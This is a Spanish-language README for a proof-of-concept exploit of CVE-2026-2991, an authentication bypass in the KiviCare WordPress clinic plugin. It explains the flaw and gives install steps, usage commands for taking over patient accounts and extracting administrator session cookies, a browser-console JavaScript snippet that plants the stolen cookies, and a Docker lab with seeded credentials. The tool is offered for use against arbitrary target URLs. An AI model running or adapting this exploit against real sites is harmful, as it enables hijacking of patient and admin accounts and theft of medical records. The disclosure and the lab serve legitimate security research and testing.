
Exploit PoC para CVE-2026-2991 — bypass de autenticación en el plugin KiviCare de WordPress (≤4.1.2) que permite la toma de control de cuentas de pacientes sin autenticación y la extracción de sesiones de administrador.
CVE-2026-2991 es una vulnerabilidad de bypass de autenticación en el plugin de WordPress KiviCare – Clinic & Patient Management System (EHR) que afecta a todas las versiones hasta la 4.1.2 inclusive.
El plugin expone un endpoint REST público en /wp-json/kivicare/v1/auth/patient/social-login que autentica a los usuarios mediante el inicio de sesión social. La función patientSocialLogin() acepta una dirección de correo electrónico y un token de acceso, pero nunca valida el token contra el proveedor social declarado. Cualquier atacante no autenticado puede iniciar sesión como cualquier paciente registrado proporcionando únicamente su correo electrónico y una cadena arbitraria como token.
Adicionalmente, las cookies de autenticación de WordPress se emiten antes de que se aplique la comprobación del rol de paciente. Esto significa que, para cuentas que no son de pacientes (incluidos los administradores), la respuesta devuelve HTTP 403 pero aún incluye cabeceras Set-Cookie válidas, lo que filtra una sesión de administrador reproducible al atacante.
Versiones afectadas: kivicare-clinic-management-system <= 4.1.2
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-2991.py --url <TARGET_URL> --email <TARGET_EMAIL> [--login-type <google|apple>] [--timeout <SECONDS>] [--useragent <UA>]
Omite la autenticación de un paciente registrado. El script devuelve su sesión completa, incluido un nonce y cookies reproducibles.
python3 CVE-2026-2991.py --url 'https://target.com' --email '[email protected]'

Proporciona el correo electrónico de cualquier usuario que no sea paciente (p. ej., un administrador). El endpoint emite cookies de autenticación válidas antes de la comprobación del rol y devuelve 403 — esas cookies se extraen y se imprimen.
python3 CVE-2026-2991.py --url http://localhost:8080/ --email '[email protected]'

Tras una ejecución exitosa, el script imprime un fragmento de JavaScript. Abre el sitio objetivo en tu navegador, pega el fragmento en la consola del navegador (F12 → Console) y pulsa Enter; este establece las cookies robadas y te lleva automáticamente al panel de control.
(() => {
document.cookie = "wordpress_<hash>=<value>; path=/";
document.cookie = "wordpress_logged_in_<hash>=<value>; path=/";
window.location.href = "http://target.com/kivicare-patient-dashboard";
})();
Un entorno Docker Compose autónomo con el plugin vulnerable preinstalado y precargado con datos de prueba realistas. Consulta DOCKER.md para más detalles.
cd docker/
docker compose up
El laboratorio precarga las siguientes cuentas en el primer arranque:
# Bypass a patient
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
# Leak admin session cookies
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
Esta herramienta se proporciona únicamente con fines educativos y de investigación. El creador no asume ninguna responsabilidad por el mal uso o los daños causados por esta herramienta.
| Rol | Username | Password |
|---|
| Administrador | admin | [email protected] | admin |
| Médico | dr.harris | [email protected] | Doctor@123 |
| Médico | dr.chen | [email protected] | Doctor@123 |
| Médico | dr.okonkwo | [email protected] | Doctor@123 |
| Paciente | james.ford | [email protected] | Patient@123 |
| Paciente | sofia.reyes | [email protected] | Patient@123 |
| Paciente | oliver.knight | [email protected] | Patient@123 |
| Paciente | amara.diallo | [email protected] | Patient@123 |
| Paciente | dan.walsh | [email protected] | Patient@123 |